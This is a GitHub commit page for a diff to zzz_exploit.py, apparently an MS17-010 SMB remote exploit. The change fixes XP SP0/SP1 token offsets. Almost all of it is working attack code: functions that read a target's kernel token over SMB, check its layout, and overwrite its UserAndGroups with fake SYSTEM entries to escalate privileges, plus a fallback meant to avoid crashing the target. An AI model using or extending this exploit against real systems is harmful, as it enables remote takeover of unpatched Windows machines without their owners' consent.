Skip to content

Commit

Permalink
Merge pull request worawit#24 from zerosum0x0/xpsp0sp1
Browse files Browse the repository at this point in the history
Fix offsets on XP SP0 and SP1
  • Loading branch information
worawit authored Jan 30, 2018
2 parents 20301cc + 59de6a0 commit 78662cd
Showing 1 changed file with 67 additions and 6 deletions.
73 changes: 67 additions & 6 deletions zzz_exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -154,6 +154,8 @@
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
}

WIN2K_32_SESSION_INFO = {
Expand Down Expand Up @@ -865,16 +867,14 @@ def exploit(target, pipe_name):
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])

userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

print('overwriting token UserAndGroups')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
Expand All @@ -898,7 +898,7 @@ def exploit(target, pipe_name):
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)

Expand All @@ -907,6 +907,66 @@ def exploit(target, pipe_name):
conn.get_socket().close()
return True

def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
# struct _TOKEN:
# ...
# ULONG UserAndGroupCount; // Ro: 4-Bytes
# ULONG RestrictedSidCount; // Ro: 4-Bytes
# ...
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...

userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)

# RestrictedSidCount MUST be 0
# RestrictedSids MUST be NULL
#
# userandGroupCount must NOT be 0
# userandGroupsAddr must NOT be NULL
#
# Could also add a failure point here if userAndGroupCount >= x

success = True

if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
success = False

print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

return success, userAndGroupCount, userAndGroupsAddr

def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']

# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')

userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']

# try with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

# still no good. Abort because something is wrong
if not success:
print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
sys.exit()

# token parsed and validated
return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset

def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
Expand Down Expand Up @@ -995,3 +1055,4 @@ def service_exec(conn, cmd):

exploit(target, pipe_name)
print('Done')

0 comments on commit 78662cd

Please sign in to comment.